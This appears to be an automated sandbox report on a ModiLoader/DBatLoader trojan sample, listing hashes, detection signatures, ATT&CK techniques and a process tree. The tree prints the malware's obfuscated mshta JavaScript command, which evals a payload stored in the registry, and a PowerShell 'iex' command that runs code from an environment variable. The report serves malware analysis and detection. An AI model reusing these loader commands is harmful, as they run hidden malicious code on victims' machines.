modiloader | cec8960741377aa0ee61eb66ef8bfdd16a8f1160ef44e0b372957b613fb5d479

Analysis

max time kernel
81s
max time network
41s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
01/10/2022, 22:12

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General

Target

cec8960741377aa0ee61eb66ef8bfdd16a8f1160ef44e0b372957b613fb5d479.exe
Size

466KB
MD5

6af17e74bc05e1780e7e21c96f508c3f
SHA1

ad691618c705867c8d77da814d94e748cbf83220
SHA256

cec8960741377aa0ee61eb66ef8bfdd16a8f1160ef44e0b372957b613fb5d479
SHA512

2771d1c64a1997a8de8cf5f4aed9cf3812a9020df589b856b0106a5e0608642594d86b97c01929afbe4d2626d948c86f856894d79b868f714b38164c93ee5d3d
SSDEEP

12288:bZsOp1DhDL4JrSLL4vSuRKJolUM9pw+Vw1z4RJFlfrhY:bZPnDhVLcvSuMIUMzV0cflfrS

Score

10^/10

modiloader trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	788	1788	mshta.exe	26

ModiLoader Second Stage 3 IoCs

resource	yara_rule
behavioral1/memory/1348-56-0x0000000000400000-0x000000000047A000-memory.dmp	modiloader_stage2
behavioral1/memory/1348-57-0x0000000000050000-0x0000000000110000-memory.dmp	modiloader_stage2
behavioral1/memory/1348-61-0x0000000000050000-0x0000000000110000-memory.dmp	modiloader_stage2

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1532	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1532	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 788 wrote to memory of 1532	788	mshta.exe	28
PID 788 wrote to memory of 1532	788	mshta.exe	28
PID 788 wrote to memory of 1532	788	mshta.exe	28
PID 788 wrote to memory of 1532	788	mshta.exe	28
PID 1532 wrote to memory of 996	1532	powershell.exe	30
PID 1532 wrote to memory of 996	1532	powershell.exe	30
PID 1532 wrote to memory of 996	1532	powershell.exe	30
PID 1532 wrote to memory of 996	1532	powershell.exe	30

C:\Users\Admin\AppData\Local\Temp\cec8960741377aa0ee61eb66ef8bfdd16a8f1160ef44e0b372957b613fb5d479.exe
"C:\Users\Admin\AppData\Local\Temp\cec8960741377aa0ee61eb66ef8bfdd16a8f1160ef44e0b372957b613fb5d479.exe"
1⤵
PID:1348

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:ZlP17RZip="jo";Ev9=new%20ActiveXObject("WScript.Shell");vTaDN7w="V";kW3TY=Ev9.RegRead("HKLM\\software\\Wow6432Node\\NLy9rvp\\9qgZreA");ygYXH80tF="DrAnY";eval(kW3TY);GXQOYcbb2="6";
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:788
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:gpfkeaa
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1532
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
    dw20.exe -x -s 464
    3⤵
    PID:996

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1348-54-0x0000000074F41000-0x0000000074F43000-memory.dmp

Filesize
8KB

Download
memory/1348-55-0x0000000002480000-0x000000000249F000-memory.dmp

Filesize
124KB

Download
memory/1348-56-0x0000000000400000-0x000000000047A000-memory.dmp

Filesize
488KB

Download
memory/1348-57-0x0000000000050000-0x0000000000110000-memory.dmp

Filesize
768KB

Download
memory/1348-58-0x0000000002480000-0x000000000249F000-memory.dmp

Filesize
124KB

Download
memory/1348-61-0x0000000000050000-0x0000000000110000-memory.dmp

Filesize
768KB

Download
memory/1532-62-0x0000000073BE0000-0x000000007418B000-memory.dmp

Filesize
5.7MB

Download
memory/1532-63-0x0000000073BE0000-0x000000007418B000-memory.dmp

Filesize
5.7MB

Download